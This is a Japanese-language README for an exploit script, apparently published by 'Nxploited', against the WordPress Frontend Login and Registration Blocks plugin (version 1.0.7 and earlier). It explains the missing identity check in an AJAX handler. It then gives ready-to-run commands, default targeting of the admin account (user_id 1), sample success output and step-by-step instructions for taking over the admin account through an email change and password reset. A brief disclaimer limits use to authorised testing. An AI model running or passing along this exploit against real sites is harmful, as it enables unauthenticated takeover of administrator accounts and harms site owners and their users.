
WordPress Frontend Login and Registration Blocks プラグイン <= 1.0.7 は権限昇格の脆弱性の影響を受けます
WordPress 用プラグイン Frontend Login and Registration Blocks(バージョン <= 1.0.7)には、アカウント乗っ取りによる権限昇格の脆弱性があります。
この問題は、flr_blocks_user_settings_handle_ajax_callback() 関数がメールなどの機密情報を更新する際に、ユーザー本人確認を行わないために発生します。
✅ 影響:
認証されていない攻撃者が管理者のメールアドレスを変更し、「パスワードを忘れた場合」のプロセスを起動して管理者パスワードをリセットし、完全な制御を取得できます。
同梱の Python スクリプトは、脆弱な AJAX エンドポイントをターゲットにして悪用プロセスを自動化します:
/wp-admin/admin-ajax.php
このスクリプトは、対象ユーザー(通常は管理者の user_id 1)のメールを攻撃者が管理するメールに更新します。
ファイル名: CVE-2025-3605.py
python CVE-2025-3605.py --url http://target-site/wordpress --user_id 1 --mail [email protected]
✅ デフォルト値:
--user_id: 1(デフォルトの管理者)--mail: [email protected]ヘルプメニューを表示するには、次を実行します:
python CVE-2025-3605.py --help
出力:
[+] Starting exploit script...
usage: a.py [-h] --url URL [--user_id USER_ID] [--mail MAIL]
Frontend Login and Registration Blocks Plugin <= 1.0.7 is vulnerable to Privilege Escalation # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
--url, -u URL Target URL, e.g., http://192.168.100.74:888/wordpress
--user_id, -id USER_ID
User ID to target (default: 1)
--mail, -mail MAIL Email to set (default: [email protected])
✅ 実行例:
python CVE-2025-3605.py -u http://192.168.100.74:888/wordpress -id 1 -mail [email protected]
✅ 成功時:
[+] Starting exploit script...
[+] Sending exploit to http:/target.com/wp-admin/admin-ajax.php/wp-admin/admin-ajax.php
[+] Exploit successful! Response: {"status":true,"message":"Operation has been completed successfully."}
[+] Final Step: Go to the Forgot Password page and reset the admin password using the new email!
Exploit By : Khaled_alenazi ( Nxploited )
❌ 失敗時:
[!] Exploit failed. HTTP Status: 400
[!] Response: 0
1️⃣ 次の URL に移動します:
http://target-site/wordpress/wp-login.php
2️⃣ 設定した新しいメール([email protected])を入力します。
3️⃣ パスワードリセットをリクエストします。
4️⃣ 新しいパスワードを設定します。
5️⃣ 管理者としてログインし、完全なアクセスを利用します。
このエクスプロイトとスクリプトは、教育目的および許可されたテスト目的のみで提供されています。
所有していないシステムや明示的なテスト許可がないシステムへの不正使用は、違法かつ非倫理的です。
作成者: Khaled Alenazi (Nxploited)